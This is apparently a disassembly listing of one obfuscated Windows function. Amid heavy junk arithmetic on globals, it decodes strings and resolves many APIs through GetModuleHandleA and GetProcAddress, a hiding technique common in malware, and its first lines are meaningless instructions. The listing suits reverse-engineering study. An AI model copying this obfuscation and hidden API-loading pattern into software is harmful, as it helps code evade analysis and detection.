Function at 0x416742
Capabilities:
Link many functions at runtime

Disassembly:
movsx eax, word [0x44087a]
sar eax, 0xa
xor eax, 0x441428ea
cmp eax, 0x8540eea7
jl 0x41676d
imul eax, dword [0x452ac8], 0x465237e3
xor eax, 0x813d4f3c
sub dword [0x4541ac], eax
add dword [0x453c94], 0x26a1cc0
test dword [ebp + 0x49], ecx
inc edx
push 0xffffffffffffffe1
imul ebx, dword [ebp + 0x587fda8b], 0xb2f8648f
shl dword [eax], 0x26
outsd dx, dword [esi]
mov cl, byte [ecx]
loop 0x4167f1
scasd eax, dword es:[edi]
aam 0x8d
cld
fdivr st(4), st(0)
fst st(1)
jnp 0x41679f
idiv byte [esi - 0xf]
push ecx
and eax, 0xfc0f3035
xor byte [edi], cl
cld
js 0x41678d
cmp bh, 0xff
push ebp
push ebx
push edi
push esi
sub esp, 0x6e4
mov eax, dword [0x44fd44]
or eax, 0x986e
movzx ecx, word [0x445d56]
xor ecx, eax
xor ecx, 0x6490
mov word [0x445d56], cx
mov dword [0x4555ec], 0xa662d6c0
mov eax, dword [0x455f08]
lea ecx, [eax - 1]
mov dword [0x455f08], ecx
and dword [0x4567c8], eax
and dword [0x44fd58], 0xabe4b7da
mov eax, dword [0x447a64]
sar eax, 7
and eax, 0x44fd58
fidiv dword [edi + 0x64a1abe4]
jp 0x416842
add cl, al
clc
pop es
add eax, 0x531073fb
imul eax, dword [0x45831c]
mov dword [0x45831c], eax
mov eax, dword [0x44ba84]
imul eax, dword [0x45750c]
imul eax, eax, 0xf90ec79b
add dword [0x450d34], eax
or dword [0x4538d8], 0x498912ff
mov eax, dword [0x44aef4]
inc eax
mov dword [0x44aef4], eax
and dword [0x4483e8], eax
mov eax, dword [0x4482fc]
imul eax, dword [0x455938], 0xa5230573
mov dword [0x455938], eax
mov eax, 0x9d51237e
call 0xa141acca
cld
add byte [eax + eax + 0x69], 5
cmp byte [ecx + 0x45], bl
add byte [ebx + 5], dh
and esp, dword [ebp + 0x455938a3]
add byte [eax - 0x62aedc82], bh
add eax, dword [0x44a778]
cmp eax, 0x3f903c3d
jg 0x416887
mov eax, dword [0x4518f8]
dec eax
mov dword [0x4518f8], eax
xor eax, dword [0x452350]
xor eax, 0xd95ce4a0
mov dword [0x452350], eax
movsx eax, word [0x442cbe]
or eax, 0x1a9b3ff
xor eax, 0x4c540400
sub dword [0x44d5b0], eax
add dword [0x44a6f0], 0xce0c3952
and dword [0x4582e8], 0xdecb7fff
mov eax, dword [0x45088c]
lea ecx, [eax + 1]
mov dword [0x45088c], ecx
add eax, 0xbbe0
mov ecx, dword [0x4531f0]
and ecx, eax
movzx eax, word [0x4460d0]
or eax, ecx
mov word [0x4460d0], ax
mov dword [0x4583a4], 1
mov eax, dword [0x44ff04]
lea ecx, [eax - 1]
mov dword [0x44ff04], ecx
cmp eax, 0xefc11c6
jg 0x41690a
imul ax, word [0x442e5c], 0x4bb4
mov word [0x442e5c], ax
mov dword [0x458bac], 0
add word [0x44184e], 0xb777
mov dword [0x458bb0], 0
mov eax, dword [0x44e2ec]
lea ecx, [eax + 1]
mov dword [0x44e2ec], ecx
and eax, dword [0x451720]
and eax, 0xab5f0a12
mov dword [0x451720], eax
mov dword [0x458bb4], 0
add dword [0x44e984], 0xcccb7993
mov dword [0x458bb8], 1
imul eax, dword [0x4553f4], 0x10800043
mov dword [0x4553f4], eax
mov dword [0x458bbc], 0
mov eax, dword [0x44e29c]
lea ecx, [eax + 1]
mov dword [0x44e29c], ecx
cmp eax, 0x438bdab1
jl 0x4169a0
imul eax, dword [0x44f4c8], 0xb4ebe37b
mov dword [0x44f4c8], eax
mov dword [0x458bc0], 0
xor word [0x4430a2], 0x2663
mov dword [0x458bc4], 0
mov eax, dword [0x44d8ec]
inc eax
mov dword [0x44d8ec], eax
mov ecx, dword [0x44890c]
lea edx, [ecx + 1]
mov dword [0x44890c], edx
sub eax, ecx
cmp eax, 0x2f21453a
jne 0x4169ec
xor dword [0x453580], 0xbd1c3d6a
jmp 0x4169f5
xor word [0x442cbc], 0x204
mov dword [0x458bc8], 0
mov eax, dword [0x448bbc]
and dword [0x44c18c], eax
mov dword [0x458bcc], 0
mov eax, dword [0x456b8c]
lea ecx, [eax + 1]
mov dword [0x456b8c], ecx
mov ecx, dword [0x44b564]
lea edx, [ecx + 1]
mov dword [0x44b564], edx
add ecx, eax
xor ecx, 0xbeef7f75
mov eax, dword [0x448f94]
lea edx, [eax + 1]
mov dword [0x448f94], edx
and eax, 0xb8d3e585
cmp ecx, eax
jle 0x416a80
mov eax, 0xf5377711
add eax, dword [0x44a6b0]
or eax, 0x39b8a936
cmp eax, 0x39e5ac8
jg 0x416aae
movsx eax, word [0x4464ce]
lea ecx, [eax + 1]
mov word [0x4464ce], cx
sub dword [0x44cc2c], eax
jmp 0x416aae
mov eax, dword [0x451dfc]
lea ecx, [eax + 1]
mov dword [0x451dfc], ecx
imul eax, eax, 0xd9e39362
cmp eax, 0xf7530a2f
jg 0x416aa7
and dword [0x457268], 0x7b895948
jmp 0x416aae
dec word [0x441ee8]
mov dword [0x458bd0], 0
mov eax, dword [0x44bac8]
lea ecx, [eax + 1]
mov dword [0x44bac8], ecx
mov ecx, 0xc0c8ce30
sub ecx, eax
movzx eax, word [0x441f64]
or eax, ecx
mov word [0x441f64], ax
mov dword [0x458bd4], 0
mov dword [0x4489d8], 0xea8e394d
add word [0x442dc8], 0xf21e
mov esi, dword [0x438010]
mov eax, dword [0x44b334]
lea ecx, [eax - 1]
mov dword [0x44b334], ecx
add eax, 0xfe393e84
and dword [0x451560], eax
mov eax, 0x466858cf
and eax, dword [0x452b8c]
mov dword [0x44f698], eax
push 0x4ddc
call sub.msvcrt.dll_malloc
add esp, 4
mov dword [0x458398], eax
mov eax, dword [0x45639c]
lea ecx, [eax + 1]
mov dword [0x45639c], ecx
mov ecx, dword [0x448370]
lea eax, [eax + ecx - 0x21fae055]
mov dword [0x448370], eax
push 0x4ddc
push 0
push dword [0x458398]
call sub.msvcrt.dll_memset
add esp, 0xc
add dword [0x44ea48], 0x6bffbed2
push esi
push 0x1377
push dword [0x458398]
call fcn.0040ddac
add esp, 0xc
mov eax, dword [0x457bec]
imul ecx, dword [0x450824], 0x88174c0b
or ecx, 0x2206ecd
cmp eax, ecx
jge 0x416bb0
or dword [0x44fcf8], 0x1bb6a74d
movzx eax, word [0x440d9a]
mov ecx, eax
dec ecx
mov word [0x440d9a], cx
xor word [0x43fb20], ax
mov ecx, dword [0x438018]
mov dword [0x44dda4], 0x60ceb939
mov eax, dword [0x458398]
xor ecx, dword [eax + 0x10]
mov dword [esp + 4], ecx
mov dword [0x452678], 0x95162be7
mov dword [0x458bd8], ecx
mov eax, dword [0x452994]
mov eax, dword [0x44d9c8]
mov ecx, 0x1eed31d3
sub ecx, eax
movsx eax, word [0x442848]
add eax, 0xbe1358c9
mov edx, dword [0x450dfc]
shl edx, 6
or edx, eax
cmp ecx, edx
jne 0x416c29
mov word [0x441248], 0xf7ee
push 0x20
push 0x326
call fcn.004103ea
add esp, 8
mov dword [0x458bdc], eax
dec word [0x441708]
push 0x16
push 0x4a02
call fcn.004103ea
add esp, 8
mov dword [0x458be0], eax
add dword [0x44bc88], 0x36b8aa8c
push 0x16
push 0x89c
call fcn.004103ea
add esp, 8
mov dword [0x458be4], eax
mov eax, dword [0x4514cc]
imul eax, dword [0x452cbc], 0x90338b47
and eax, 0xdd928c4e
mov dword [0x457f84], eax
push 0x16
push 0x2cd4
call fcn.004103ea
add esp, 8
mov dword [0x458be8], eax
or dword [0x4512a4], 0x4e115023
push 0x34
push 0x70
call fcn.004103ea
add esp, 8
mov dword [0x458bec], eax
add dword [0x44d090], 0xc27c5a6d
push 0x34
push 0xae
call fcn.004103ea
add esp, 8
mov dword [0x458bf0], eax
mov eax, dword [0x451790]
inc eax
mov dword [0x451790], eax
xor eax, 0x5ee05fbb
cmp eax, 0xc8404681
jl 0x416d2e
movsx eax, word [0x442016]
not eax
mov ecx, 0xfaf84f44
sub ecx, dword [0x455b64]
add ecx, eax
cmp ecx, 0x17f1d279
jg 0x416d24
mov eax, dword [0x451c30]
imul eax, dword [0x454f84]
mov dword [0x454f84], eax
jmp 0x416d2e
add dword [0x449bfc], 0x11d41831
mov eax, dword [0x458bf0]
mov dword [0x458668], eax
or dword [0x45678c], 0xdd0d1f94
push 0x20
push 0x7ef
call fcn.004103ea
add esp, 8
mov dword [0x458bf4], eax
xor dword [0x44d8b4], 0x7fbddea7
push 0x21
push 0x2e32
call fcn.004103ea
add esp, 8
mov dword [0x458bf8], eax
or dword [0x44eb24], 0xec86f0a7
push 0x33
push 0x36a
call fcn.004103ea
add esp, 8
mov dword [0x458bfc], eax
mov ax, word [0x442a72]
push 0xd
push 0xa04
call fcn.004103ea
add esp, 8
mov esi, eax
movzx eax, word [0x4464da]
inc eax
mov word [0x4464da], ax
cwde
movsx ecx, word [0x443356]
cmp eax, ecx
jg 0x416dcd
and dword [0x449464], 0x71f92b7
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x458380], eax
mov eax, dword [0x451b60]
and word [0x4438b6], 0xc518
push 9
push 0x982
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x44c004]
add eax, eax
xor eax, 0xf7715d60
cmp eax, 0xf8634c79
jl 0x416e4a
mov eax, dword [0x4569fc]
lea ecx, [eax - 1]
mov dword [0x4569fc], ecx
or eax, 0x399dda
cmp eax, 0xfdb88c08
jl 0x416e61
mov eax, dword [0x452244]
lea ecx, [eax - 1]
mov dword [0x452244], ecx
add eax, 0x7074
movzx ecx, word [0x441f2e]
or ecx, eax
mov word [0x441f2e], cx
jmp 0x416e6a
movzx eax, word [0x4417d4]
dec eax
mov word [0x4417d4], ax
cwde
or dword [0x44aa70], eax
jmp 0x416e6a
and word [0x44514e], 0x7ec7
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push dword [0x458380]
call ebp
mov dword [0x43f1a8], eax
movsx eax, word [0x446a16]
add eax, 0xea1986e3
and dword [0x454c10], eax
push edi
push 9
call fcn.0040d60f
add esp, 8
or dword [0x451b44], 0x81c6cb92
push esi
push 0xd
call fcn.0040d60f
add esp, 8
imul eax, dword [0x4507e0], 0xea7fcecd
mov dword [0x4507e0], eax
push 0xd
push 0x9bd
call fcn.004103ea
add esp, 8
mov edi, eax
xor word [0x44555a], 0x7cc3
push edi
push dword [0x458380]
call ebp
mov dword [0x43f184], eax
add dword [0x449a20], 0x69036c48
push 0xc
push 0x1f79
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, 0x57a72755
xor eax, dword [0x448b2c]
or dword [0x44e670], eax
push edi
push 0xd
call fcn.0040d60f
add esp, 8
mov eax, dword [0x44a7d8]
sar eax, 7
add eax, 0x61cc23b4
mov ecx, dword [0x44f2d4]
lea edx, [ecx - 1]
mov dword [0x44f2d4], edx
mov edx, 0xb2699344
sub edx, ecx
cmp eax, edx
jne 0x416f6a
movzx eax, word [0x445718]
dec eax
mov word [0x445718], ax
cwde
or eax, 0x1aa3ff6d
xor eax, 0x60540010
imul eax, dword [0x450c20]
mov dword [0x450c20], eax
push esi
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f194], eax
mov eax, dword [0x45431c]
shr eax, 1
or eax, 0x896257a0
mov ecx, 0x643a018a
add ecx, dword [0x447f84]
cmp eax, ecx
je 0x416fa1
add dword [0x454df4], 0x5c85
push 6
push 0x9ed
call fcn.004103ea
add esp, 8
mov edi, eax
imul eax, dword [0x45682c], 0xad35ae5c
mov dword [0x45682c], eax
push esi
push 0xc
call fcn.0040d60f
add esp, 8
mov eax, dword [0x4541ec]
movzx ecx, word [0x440ddc]
lea eax, [eax + ecx + 0xe4dc]
mov word [0x440ddc], ax
push edi
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f198], eax
mov eax, dword [0x447b34]
lea ecx, [eax + 1]
mov dword [0x447b34], ecx
imul eax, eax, 0x9f7bc756
cmp eax, 0x804810a
jl 0x417029
mov eax, dword [0x454904]
shr eax, 1
movzx ecx, word [0x4469b4]
and ecx, eax
mov word [0x4469b4], cx
push 0xd
push 0x1f4c
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, dword [0x455158]
lea ecx, [eax + 1]
mov dword [0x455158], ecx
cmp eax, 0x204810
jl 0x41706b
mov eax, dword [0x44c9c0]
mov ecx, dword [0x448e30]
or ecx, eax
movzx eax, word [0x442844]
and eax, ecx
mov word [0x442844], ax
push edi
push 6
call fcn.0040d60f
add esp, 8
imul eax, dword [0x4553bc], 0x2beeefbd
mov dword [0x4553bc], eax
push esi
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f188], eax
mov eax, dword [0x44e880]
inc eax
mov dword [0x44e880], eax
cmp eax, 0xa4d0793e
jne 0x4170b2
xor word [0x445922], 0x7dab
push 9
push 0x1f04
call fcn.004103ea
add esp, 8
mov edi, eax
movsx eax, word [0x44426a]
lea ecx, [eax - 1]
mov word [0x44426a], cx
or eax, dword [0x450e80]
or eax, 0x973b81d4
mov dword [0x450e80], eax
push esi
push 0xd
call fcn.0040d60f
add esp, 8
and dword [0x44ec38], 0xbfeeffff
push edi
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f18c], eax
mov eax, dword [0x45096c]
lea ecx, [eax - 1]
mov dword [0x45096c], ecx
add eax, 0x9f63ed98
imul eax, dword [0x4525f8]
mov dword [0x4525f8], eax
push 0x14
push 0x3b5e
call fcn.004103ea
add esp, 8
mov esi, eax
imul eax, dword [0x44fd94], 0xbfa915fb
mov dword [0x44fd94], eax
push edi
push 9
call fcn.0040d60f
add esp, 8
movzx eax, word [0x4460d2]
inc eax
mov word [0x4460d2], ax
cwde
add eax, dword [0x456400]
cmp eax, 0xa50b6f7
jne 0x417184
mov eax, 0x9001290
or eax, dword [0x455454]
add dword [0x45116c], eax
jmp 0x4171a4
movsx eax, word [0x442232]
shl eax, 7
add eax, 0x750dd2c4
cmp eax, 0x89e18cec
jl 0x4171a4
mov dword [0x44b198], 0xb301fa7a
push esi
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f190], eax
mov eax, dword [0x452fb8]
lea ecx, [eax - 1]
mov dword [0x452fb8], ecx
mov ecx, dword [0x44e750]
inc ecx
mov dword [0x44e750], ecx
imul ecx, ecx, 0xb762c16d
lea eax, [ecx + eax - 1]
cmp eax, 0x7141f8e5
jl 0x4171fb
mov eax, dword [0x455cdc]
sar eax, 4
xor eax, 0x9e204317
imul eax, dword [0x447f94]
mov dword [0x447f94], eax
push 0x11
push 0x4743
call fcn.004103ea
add esp, 8
mov ebx, eax
or dword [0x4506e0], 0x2fa24a56
push esi
push 0x14
call fcn.0040d60f
add esp, 8
mov eax, dword [0x44dbc8]
dec eax
mov dword [0x44dbc8], eax
xor eax, 0xc0af0926
imul eax, dword [0x44d624]
mov dword [0x44d624], eax
push ebx
push dword [0x458380]
call ebp
mov dword [0x43f19c], eax
xor dword [0x44d01c], 0x1e87f0a0
push 0xc
push 0x3983
call fcn.004103ea
add esp, 8
mov edi, eax
movsx eax, word [0x4434b2]
imul eax, eax, 0x54129be4
and dword [0x44f44c], eax
push ebx
push 0x11
call fcn.0040d60f
add esp, 8
mov eax, dword [0x456458]
lea ecx, [eax - 1]
mov dword [0x456458], ecx
imul eax, eax, 0xdfd2a5b0
xor dword [0x4531f8], eax
push edi
push dword [0x458380]
call ebp
mov dword [0x43f1dc], eax
mov eax, dword [0x4561fc]
mov eax, dword [0x449b18]
not eax
and eax, 0xe4459318
mov dword [0x44b3d4], eax
push 0xd
push 0x3cbd
call fcn.004103ea
add esp, 8
mov esi, eax
dec dword [0x4576d4]
push edi
push 0xc
call fcn.0040d60f
add esp, 8
mov eax, dword [0x456ba4]
inc eax
mov dword [0x456ba4], eax
imul eax, dword [0x451e68]
shl eax, 2
cmp eax, 0x7bd73d94
jne 0x417309
or word [0x4437f8], 0x1a00
push esi
push dword [0x458380]
call ebp
mov dword [0x43f1e0], eax
add word [0x443f52], 0xb86e
push 0xe
push 0x259b
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x44dbb4]
shl eax, 8
movzx ecx, word [0x44137e]
or ecx, eax
or ecx, 0x4a08
mov word [0x44137e], cx
push esi
push 0xd
call fcn.0040d60f
add esp, 8
mov eax, dword [0x451014]
xor eax, dword [0x457d4c]
not eax
mov dword [0x457d4c], eax
push edi
push dword [0x458380]
call ebp
mov dword [0x43f1e4], eax
imul eax, dword [0x450ad0], 0x800040
mov dword [0x450ad0], eax
push 0xc
push 0x4062
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, dword [0x4483a8]
sar eax, 2
xor eax, 0x33032c8b
imul eax, dword [0x44787c]
mov dword [0x44787c], eax
push edi
push 0xe
call fcn.0040d60f
add esp, 8
mov eax, dword [0x454edc]
mov ecx, dword [0x4501a8]
not ecx
sub ecx, dword [0x4518a4]
and ecx, eax
cmp ecx, 0xaf59751e
jl 0x4173e7
add dword [0x448cd4], 0xe665dc00
jmp 0x4173f1
xor dword [0x44dca0], 0x78d35946
push esi
push dword [0x458380]
call ebp
mov dword [0x43f1e8], eax
mov eax, dword [0x4579d8]
imul eax, dword [0x449d14], 0xf1a8416d
mov dword [0x449d14], eax
push 0x11
push 0x4d84
call fcn.004103ea
add esp, 8
mov edi, eax
xor dword [0x44d238], 0xf6992eb9
push esi
push 0xc
call fcn.0040d60f
add esp, 8
add dword [0x44cbb4], 0xf541fa73
push edi
push dword [0x458380]
call ebp
mov dword [0x43f1ec], eax
mov eax, dword [0x44e534]
mov ecx, 0xe4b90cd7
or ecx, dword [0x4485cc]
cmp eax, ecx
jne 0x417476
imul eax, dword [0x44cac8], 0x40dba568
mov dword [0x44cac8], eax
jmp 0x417480
add dword [0x44d628], 0x9d73a2df
push 0x13
push 0x26d1
call fcn.004103ea
add esp, 8
mov esi, eax
xor dword [0x44a1a4], 0xa6eeac1
push edi
push 0x11
call fcn.0040d60f
add esp, 8
mov eax, dword [0x4496f8]
sar eax, 1
mov ecx, dword [0x4544b0]
not ecx
imul ecx, eax
cmp ecx, 0x52d25f46
je 0x4174e1
mov eax, dword [0x449a98]
lea ecx, [eax + 1]
mov dword [0x449a98], ecx
mov ecx, 0xbe5ce3ac
sub ecx, eax
xor ecx, 0x2e09c9eb
add dword [0x44acd0], ecx
push esi
push dword [0x458380]
call ebp
mov dword [0x43f1d8], eax
mov eax, dword [0x452518]
movzx ecx, word [0x4429e2]
or ecx, eax
or ecx, 0x3bb2
mov word [0x4429e2], cx
push 0x12
push 0x9cc
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x44cc18]
movzx ecx, word [0x44056a]
mov edx, 0xffff1238
sub edx, eax
add edx, ecx
mov word [0x44056a], dx
push esi
push 0x13
call fcn.0040d60f
add esp, 8
imul eax, dword [0x44d9a8], 0xddd83de3
mov dword [0x44d9a8], eax
push edi
push dword [0x458380]
call ebp
mov dword [0x43f1f0], eax
mov eax, dword [0x44adac]
lea ecx, [eax + 1]
mov dword [0x44adac], ecx
mov ecx, dword [0x452b0c]
sar ecx, 9
neg ecx
lea eax, [eax + ecx - 0x2ca410ac]
cmp eax, 0x6c49f854
jg 0x417592
or dword [0x451054], 0xacf5364f
jmp 0x41759c
xor dword [0x451c80], 0xc5acb44e
push 0x10
push 0x811
call fcn.004103ea
add esp, 8
mov ebx, eax
inc word [0x43ff28]
push edi
push 0x12
call fcn.0040d60f
add esp, 8
imul eax, dword [0x450e04], 0x93ae6575
mov dword [0x450e04], eax
push ebx
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f1f4], eax
mov eax, dword [0x456bfc]
sar eax, 2
add eax, 0xb5099be6
or eax, 0xc77a372
mov ecx, 0x7b9cad26
sub ecx, dword [0x44a844]
xor ecx, 0x80d31bb1
cmp eax, ecx
jg 0x417611
and dword [0x4567a4], 0xef03c75b
push 0xf
push 0x1028
call fcn.004103ea
add esp, 8
mov esi, eax
xor dword [0x448b68], 0x2f8f2019
push ebx
push 0x10
call fcn.0040d60f
add esp, 8
mov dword [0x448acc], 0x3e259173
push esi
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f1a0], eax
mov eax, 0xd91e295a
add eax, dword [0x4546e0]
cmp eax, 0xb4195cea
jl 0x4176a1
mov eax, dword [0x44f3ac]
lea ecx, [eax + 1]
mov dword [0x44f3ac], ecx
movsx ecx, word [0x441122]
and ecx, eax
or ecx, 0x8d057115
movsx eax, word [0x4404ec]
imul eax, eax, 0x138aaff7
cmp ecx, eax
jge 0x4176a1
mov eax, dword [0x452da8]
shl eax, 4
or dword [0x44ada0], eax
push 0xa
push 0x4756
call fcn.004103ea
add esp, 8
mov edi, eax
and word [0x4461a4], 0x9a8c
push esi
push 0xf
call fcn.0040d60f
add esp, 8
movsx eax, word [0x43f4e6]
lea ecx, [eax - 1]
mov word [0x43f4e6], cx
and eax, dword [0x4544d4]
and eax, 0xb0284b4c
mov dword [0x4544d4], eax
push edi
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f1a4], eax
and dword [0x44ec9c], 0x5a40c5ad
push 0xc
push 0x8c3
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, dword [0x454a8c]
movsx ecx, word [0x443dd4]
and ecx, eax
xor ecx, 0xf076e5e1
imul ecx, dword [0x44fafc]
mov dword [0x44fafc], ecx
push edi
push 0xa
call fcn.0040d60f
add esp, 8
mov eax, dword [0x452f74]
cmp eax, 0x1d0d2cc5
jne 0x417762
movzx eax, word [0x444fac]
shl eax, 3
and eax, 0x2660
sub word [0x4429c8], ax
push esi
push dword [0x458380]
call ebp
mov dword [0x43f1ac], eax
dec word [0x441d6e]
xor dword [0x450d00], 0xa7ae557b
push 0x11
push 0x348
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x4561e0]
mov ecx, dword [0x457f50]
not ecx
and ecx, eax
xor dword [0x4505a0], ecx
push esi
push 0xc
call fcn.0040d60f
add esp, 8
add word [0x440d50], 0x75bd
push edi
push dword [0x458380]
call ebp
mov dword [0x43f1b0], eax
add word [0x4401d4], 0xf5fb
push 0x1a
push 0x1de5
call fcn.004103ea
add esp, 8
mov ebx, eax
add dword [0x45492c], 0xf0f79ed0
push edi
push 0x11
call fcn.0040d60f
add esp, 8
movsx eax, word [0x4456ce]
mov ecx, dword [0x45570c]
shl ecx, 4
and ecx, eax
and dword [0x44cd68], ecx
push ebx
push dword [0x458380]
call ebp
mov dword [0x43f1b4], eax
mov dword [0x44d7b8], 0x268753df
push 0x15
push 0x1f0f
call fcn.004103ea
add esp, 8
mov esi, eax
add dword [0x456524], 0xe300bccf
push ebx
push 0x1a
call fcn.0040d60f
add esp, 8
mov ax, word [0x442be6]
mov eax, dword [0x44c4d4]
cmp eax, 0xf7f4d927
jne 0x41787e
mov eax, dword [0x452964]
lea ecx, [eax + 1]
mov dword [0x452964], ecx
imul eax, eax, 0xd69a9357
xor eax, 0x45e390bd
mov dword [0x456bb4], eax
push esi
push dword [0x458380]
call ebp
mov dword [0x43f1b8], eax
add dword [0x45340c], 0x64d241d1
push 0x15
push 0x39aa
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x44dbb8]
inc eax
mov dword [0x44dbb8], eax
imul eax, eax, 0x500c4142
mov ecx, dword [0x450a34]
dec ecx
mov dword [0x450a34], ecx
xor ecx, eax
xor dword [0x448228], ecx
push esi
push 0x15
call fcn.0040d60f
add esp, 8
mov eax, 0x9548f0a8
add eax, dword [0x454964]
xor dword [0x451d18], eax
push edi
push dword [0x458380]
call ebp
mov dword [0x43f1bc], eax
mov eax, dword [0x44ce98]
dec eax
mov dword [0x44ce98], eax
sub eax, dword [0x44bf0c]
xor dword [0x447f00], eax
push 0x16
push 0x408e
call fcn.004103ea
add esp, 8
mov esi, eax
add dword [0x44ee7c], 0x186f0614
push edi
push 0x15
call fcn.0040d60f
add esp, 8
xor word [0x444466], 0x604a
push esi
push dword [0x458380]
call ebp
mov dword [0x43f1c0], eax
mov eax, dword [0x44f9c4]
imul eax, dword [0x4479ec]
imul eax, eax, 0xa9e3ba00
mov dword [0x4479ec], eax
push 0xc
push 0x2834
call fcn.004103ea
add esp, 8
mov ebx, eax
mov ax, word [0x444da4]
add word [0x442292], 0xc200
push esi
push 0x16
call fcn.0040d60f
add esp, 8
mov eax, 0x70a7a08f
and eax, dword [0x449118]
imul eax, dword [0x447e4c]
mov dword [0x447e4c], eax
push ebx
push dword [0x458380]
call ebp
mov dword [0x43f1c4], eax
add dword [0x45495c], 0x7861b3f3
push 0xc
push 0x2722
call fcn.004103ea
add esp, 8
mov edi, eax
or dword [0x44bf88], 0x42c95ac7
push ebx
push 0xc
call fcn.0040d60f
add esp, 8
mov eax, dword [0x451584]
not eax
imul eax, eax, 0xe19df813
cmp eax, 0x4753e6b0
jne 0x4179ff
xor word [0x440dec], 0xc564
push edi
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f1c8], eax
add dword [0x453b44], 0x70fd5120
push 0xc
push 0x2ea8
call fcn.004103ea
add esp, 8
mov esi, eax
movsx eax, word [0x446300]
imul eax, eax, 0x39529c41
add eax, 0x8df8279a
mov ecx, 0xd22d0db8
xor ecx, dword [0x44dcec]
cmp eax, ecx
jne 0x417a5f
movsx eax, word [0x442fda]
or eax, 0x1346940
xor dword [0x455ce4], eax
push edi
push 0xc
call fcn.0040d60f
add esp, 8
mov eax, dword [0x456a3c]
lea ecx, [eax + 1]
mov dword [0x456a3c], ecx
or eax, 0x5c745ef9
xor eax, 0x3008102
cmp eax, 0x506eb88d
jl 0x417aa5
mov eax, dword [0x448a1c]
inc eax
mov dword [0x448a1c], eax
cmp eax, 0x526a9dde
jg 0x417aa5
or dword [0x457724], 0xbf859533
push esi
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f1cc], eax
add dword [0x44ec04], 0x19f8bbd3
push 0x18
push 0x833
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x451020]
lea ecx, [eax - 1]
mov dword [0x451020], ecx
add eax, 0xa2eb7c0
and eax, 0x35f2a03c
movsx ecx, word [0x44360a]
xor ecx, 0x94088004
cmp eax, ecx
jne 0x417b05
or dword [0x452508], 0x5ae974a2
push esi
push 0xc
call fcn.0040d60f
add esp, 8
imul eax, dword [0x451dd0], 0xfaff7a7a
mov dword [0x451dd0], eax
push edi
push dword [0x458380]
call ebp
mov dword [0x43f1d0], eax
movsx eax, word [0x446af6]
or eax, 0x77d7ffdb
imul eax, dword [0x452f90]
mov dword [0x452f90], eax
push 9
push 0x6e8
call fcn.004103ea
add esp, 8
mov esi, eax
add dword [0x44dd80], 0xd984dd25
push edi
push 0x18
call fcn.0040d60f
add esp, 8
mov eax, dword [0x4489e4]
mov ecx, dword [0x448754]
lea eax, [eax + ecx - 0x38c4f282]
mov dword [0x448754], eax
push esi
push dword [0x458380]
call ebp
mov dword [0x43f1d4], eax
mov eax, dword [0x44d1f8]
cmp eax, 0xdc03d874
jl 0x417ba7
mov eax, dword [0x457408]
dec dword [0x453818]
push 0xf
push 0x7d5
call fcn.004103ea
add esp, 8
mov ebx, eax
and dword [0x449940], 0x163725bd
push esi
push 9
call fcn.0040d60f
add esp, 8
mov dword [0x448c4c], 0x20008900
push ebx
push dword [0x458380]
call ebp
mov dword [0x43f0c8], eax
or dword [0x455dcc], 0xe40a1f6e
push 0xe
push 0x33a0
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x44784c]
shl eax, 5
and eax, 0xca32ea40
xor dword [0x45234c], eax
push ebx
push 0xf
call fcn.0040d60f
add esp, 8
or dword [0x44aa90], 0x40410410
push edi
push dword [0x458380]
call ebp
mov dword [0x43f0cc], eax
imul ax, word [0x442110], 0x8e89
mov word [0x442110], ax
push 0x19
push 0x35d5
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, dword [0x44f2ec]
mov eax, dword [0x451038]
cmp eax, 0x817c0e0e
je 0x417c7e
mov eax, dword [0x453ee0]
shl eax, 7
or eax, 0x8ece71a2
xor eax, 0x50100e5c
mov dword [0x457990], eax
push edi
push 0xe
call fcn.0040d60f
add esp, 8
add dword [0x454648], 0x61ff8ed1
push esi
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f0d0], eax
movsx eax, word [0x445cde]
imul eax, dword [0x44c33c]
cmp eax, 0x4310a106
jg 0x417cd4
mov eax, dword [0x457d98]
lea ecx, [eax + 1]
mov dword [0x457d98], ecx
imul eax, eax, 0xce1df253
xor dword [0x44d490], eax
push 0xd
push 0xd5b
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x448438]
lea eax, [eax + eax + 0x29a39fa4]
or dword [0x4554a0], eax
push esi
push 0x19
call fcn.0040d60f
add esp, 8
imul eax, dword [0x4525cc], 0xa0d10e0
mov dword [0x4525cc], eax
push edi
push dword [0x458380]
call ebp
mov dword [0x43f0d4], eax
and dword [0x44e914], 0x96738fec
push 0x13
push 0x2562
call fcn.004103ea
add esp, 8
mov esi, eax
dec word [0x4454f4]
or dword [0x453d48], 0x462d259e
push edi
push 0xd
call fcn.0040d60f
add esp, 8
mov eax, dword [0x450048]
lea ecx, [eax + 1]
mov dword [0x450048], ecx
xor eax, 0xfa3b
movzx ecx, word [0x43ffce]
sub ecx, eax
